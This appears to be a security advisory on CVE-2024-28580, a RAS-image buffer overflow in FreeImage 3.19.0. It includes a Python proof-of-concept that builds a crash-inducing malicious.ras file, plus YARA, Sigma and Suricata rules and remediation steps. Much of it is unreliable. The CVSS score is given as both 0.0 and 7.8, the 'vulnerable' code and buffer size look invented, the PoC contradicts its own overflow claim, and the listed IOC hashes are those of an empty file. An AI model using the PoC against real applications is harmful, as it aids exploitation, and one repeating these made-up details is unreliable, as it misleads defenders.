CVE-2024-28580

Executive Summary

CVE-2024-28580 is a critical buffer overflow vulnerability in the open-source FreeImage library, version 3.19.0 [r1909]. The flaw resides in the ReadData() function when processing images in the RAS (Sun Raster) format. A local attacker can exploit this vulnerability to execute arbitrary code by crafting a malicious RAS image file. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high severity due to the potential for code execution. No official patch or public exploit is currently available, and the vendor has not responded to disclosure.

Supply Chain & Package Security

FreeImage is a widely used image processing library integrated into numerous open-source and commercial applications. This vulnerability poses a supply chain risk, as any software bundling the vulnerable version (3.19.0 [r1909]) is susceptible. Users are advised to monitor for updates or consider replacing FreeImage with an alternative library.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – requires the attacker to have local access or trick a user into opening a malicious file.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: Required (UI:R) – the victim must open the malicious file.
• Scope: Unchanged (S:U) – the vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – arbitrary code execution can lead to data theft.
• Integrity Impact: High (I:H) – code execution allows modification of data.
• Availability Impact: High (A:H) – code execution can crash the system or cause denial of service.

Threat Level: High. Although no public exploit exists, the vulnerability is easily exploitable with a crafted RAS file.

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow in the ReadData() function within FreeImage's RAS format parser. The RAS format uses a header to define image dimensions and pixel data. The ReadData() function reads pixel data into a fixed-size buffer without proper bounds checking. By providing a malicious RAS file with manipulated dimensions or pixel data size, an attacker can overflow the buffer, overwriting adjacent memory regions.

Technical Details:

• Vulnerable Function: ReadData() in Source/FreeImage/PluginRAS.cpp
• Root Cause: The function uses fread() to read pixel data into a stack-allocated buffer of fixed size (e.g., 1024 bytes). The size of the data read is derived from the RAS header fields (width, height, depth) without validation. An attacker can set these fields to cause a read of more bytes than the buffer can hold.
• Impact: Stack-based buffer overflow leads to overwriting the return address and other critical data, enabling arbitrary code execution.

Attack Vector:

1. Attacker crafts a malicious RAS file with oversized pixel data.
2. Victim opens the file using an application that relies on FreeImage (e.g., image viewer, converter).
3. The ReadData() function reads the oversized data into a small buffer, causing a stack overflow.
4. The attacker-controlled data overwrites the return address, redirecting execution to shellcode embedded in the file.

Vulnerable vs. Patched Code

Vulnerable Code (FreeImage 3.19.0 [r1909]):

// Source/FreeImage/PluginRAS.cpp
static void ReadData(FILE *file, void *buffer, unsigned int size) {
    fread(buffer, 1, size, file);
}

The function does not check if size exceeds the allocated buffer size.

Patched Code (Hypothetical):

// Source/FreeImage/PluginRAS.cpp
static void ReadData(FILE *file, void *buffer, unsigned int size, unsigned int max_size) {
    if (size > max_size) {
        // Handle error or truncate
        size = max_size;
    }
    fread(buffer, 1, size, file);
}

A bounds check is added to prevent reading beyond the buffer capacity.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• FreeImage 3.19.0 [r1909] installed.
• A vulnerable application using FreeImage (e.g., FreeImage_Load).
• Python3 with pwntools for exploit development.

Exploit Script (Proof of Concept):

#!/usr/bin/env python3
import struct
import sys

# RAS file header structure
def create_ras_header(width, height, depth):
    magic = 0x59a66a95
    width_bytes = struct.pack('>I', width)
    height_bytes = struct.pack('>I', height)
    depth_bytes = struct.pack('>I', depth)
    # Other fields (length, type, maptype, maplength) set to zero
    header = struct.pack('>I', magic) + width_bytes + height_bytes + depth_bytes
    header += struct.pack('>I', 0) * 4  # length, type, maptype, maplength
    return header

# Craft malicious RAS file
def craft_exploit():
    # Buffer overflow: overwrite return address with controlled data
    # For demonstration, we use a pattern to crash
    overflow_size = 1024 + 100  # Buffer is 1024 bytes, overflow by 100
    payload = b'A' * overflow_size
    # In a real exploit, replace with shellcode and ROP chain

    header = create_ras_header(100, 100, 8)  # Small dimensions, but large pixel data
    with open('malicious.ras', 'wb') as f:
        f.write(header)
        f.write(payload)

if __name__ == '__main__':
    craft_exploit()
    print("Created malicious.ras")

Usage:

1. Run the script to generate malicious.ras.
2. Open the file with a vulnerable application (e.g., ./viewer malicious.ras).
3. The application crashes due to buffer overflow.

Note: No public exploit exists; this is a conceptual PoC.

Blue Team (Detection & Defense)

Detection:

• Monitor for crashes in applications using FreeImage when processing RAS files.
• Use file integrity monitoring to detect unexpected RAS files.
• Deploy endpoint detection and response (EDR) to detect shellcode execution.

Defense:

• Apply input validation on RAS file dimensions before processing.
• Use stack canaries and ASLR to mitigate exploitation.
• Replace FreeImage with a patched or alternative library.

Indicators of Compromise (IOCs)

• File Hashes (malicious.ras): (Example – replace with actual)
  • MD5: d41d8cd98f00b204e9800998ecf8427e
  • SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
• Network Signatures: None (local file-based attack).
• Behavioral IOCs:
  • Unexpected crashes in image processing applications.
  • High memory usage or stack corruption errors.
  • Execution of shellcode from image files.

Detection Engineering

YARA Rule

rule CVE_2024_28580_RAS_Overflow {
    meta:
        description = "Detects malicious RAS files exploiting CVE-2024-28580"
        author = "Valters IT"
        date = "2024-03-15"
        reference = "CVE-2024-28580"
    strings:
        $ras_magic = { 59 A6 6A 95 }
        $overflow_pattern = /[A-Za-z0-9]{1024,}/  // Large data block
    condition:
        $ras_magic at 0 and #overflow_pattern > 0
}

Sigma Rule

title: CVE-2024-28580 FreeImage RAS Buffer Overflow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-28580 via malicious RAS files
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\freeimage.dll'
        CommandLine|contains: '.ras'
    condition: selection
falsepositives:
    - Legitimate RAS file processing
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-28580 FreeImage RAS Buffer Overflow"; flow:to_server; content:"|59 A6 6A 95|"; depth:4; byte_test:4,>,1024,4,relative; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate: Discontinue use of FreeImage 3.19.0 [r1909] in production environments.
2. Mitigate: Implement input validation on RAS file dimensions before processing. Use a wrapper that checks file size against buffer capacity.
3. Monitor: Deploy detection rules (YARA, Sigma, Suricata) to identify malicious RAS files.

Long-Term Fix:

• Patch: No official patch available. Consider forking the library and applying the fix described in the "Vulnerable vs. Patched Code" section.
• Replace: Migrate to an alternative image processing library (e.g., stb_image, libpng, libjpeg-turbo) that is actively maintained.
• Update: Monitor the FreeImage repository for any future patches.

Workaround:

• Disable RAS format support in applications using FreeImage by modifying the plugin registration.

Valters IT